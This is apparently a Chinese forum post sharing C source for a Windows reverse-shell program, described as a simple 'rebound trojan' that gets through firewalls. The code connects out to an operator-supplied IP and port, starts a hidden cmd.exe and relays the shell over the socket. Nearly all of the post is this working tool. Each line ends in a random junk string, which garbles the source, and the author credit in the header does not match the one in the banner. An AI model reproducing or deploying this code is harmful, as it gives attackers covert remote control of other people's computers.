这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oU\]#e^
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/* ============================== +ktv:d
Rebound port in Windows NT 0qS/>u*
By wind,2006/7 Wga2).j6
===============================*/ x,gk]C f
#include _dKMBcl)E
#include 8T1`9ITl:
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#pragma comment(lib,"wsock32.lib") lHM+<Z
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void OutputShell(); 6 f*:;
SOCKET sClient; `2f/4]fY
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z9vMz3^N
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void main(int argc,char **argv) Bsa;,
{ NBk0P*SI
WSADATA stWsaData; ~4fE`-O
int nRet; [Hh*lKg
SOCKADDR_IN stSaiClient,stSaiServer; iT'doF
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if(argc != 3) #)'Iqaq7
{ )LGVR3#
printf("Useage:\n\rRebound DestIP DestPort\n"); . 1kB8&}
return; OBWb0t5H?
} 'I,a 29
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,`f]mv l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,
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stSaiClient.sin_family = AF_INET; (OiV IH
stSaiClient.sin_port = htons(0); CnZ!b_J
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uWJJ\
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TtkHMPlm_
{ kL DpZ{
printf("Bind Socket Failed!\n"); d88A.Z3w
return; 9~hW8{#
} 8&JB_%Gb
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stSaiServer.sin_family = AF_INET; |enLv12Gm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w"{DLN[Qw
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Va )W[I
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3dN`Q:1R9
{ SJ]6_4=y*
printf("Connect Error!"); P!79{ 8
return; fXMY.X>f
} |OeWM
OutputShell(); [q|W*[B:@
} C>|.0:[%
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void OutputShell() D>|`+=1'0"
{ lTC0kh
char szBuff[1024]; (
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SECURITY_ATTRIBUTES stSecurityAttributes; Krae^z9R
OSVERSIONINFO stOsversionInfo; `df!-\#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GL?b!4xx
STARTUPINFO stStartupInfo; Erw1y,mF
char *szShell; NF0_D1Goi
PROCESS_INFORMATION stProcessInformation; t`B@01;8A
unsigned long lBytesRead; sSU|N;"Y
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NK qIx
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y# }qXXZ>]
stSecurityAttributes.lpSecurityDescriptor = 0; $wAR cS
stSecurityAttributes.bInheritHandle = TRUE; KO" /
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -6+7&.A+
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~vz%I^xW
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J$}]p
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Po58@g
stStartupInfo.wShowWindow = SW_HIDE; l:'#pZ4T
stStartupInfo.hStdInput = hReadPipe; :.5l
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P<IDb%W
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GetVersionEx(&stOsversionInfo); 5QiQDQT}5
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switch(stOsversionInfo.dwPlatformId) YVccO~!8
{ b*Y Wd3
case 1: Zp)=l Td
szShell = "command.com"; !64Tx
break; Tc(=J7*r&
default: @ZU$W9g
szShell = "cmd.exe"; 6C2~0b
break; 5TJd9:\Af
} zjA]Tr
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4`i8m
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send(sClient,szMsg,77,0); qm$(_]R~`
while(1) }gQ2\6o2g
{ J'Pyn
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); DURWE,W>
if(lBytesRead) :e7\z
{ yU!1q}L!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3aq'JVq
send(sClient,szBuff,lBytesRead,0); 3tZIL
} 7}VqXUwabx
else >g<YH'U{
{ }T4|Kyu?
lBytesRead=recv(sClient,szBuff,1024,0); YTa
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if(lBytesRead<=0) break; *#YZm>h
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?C[?dg{n
} -g~+9/;n
} uj6'T Sl
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return; 'O(=Pz
}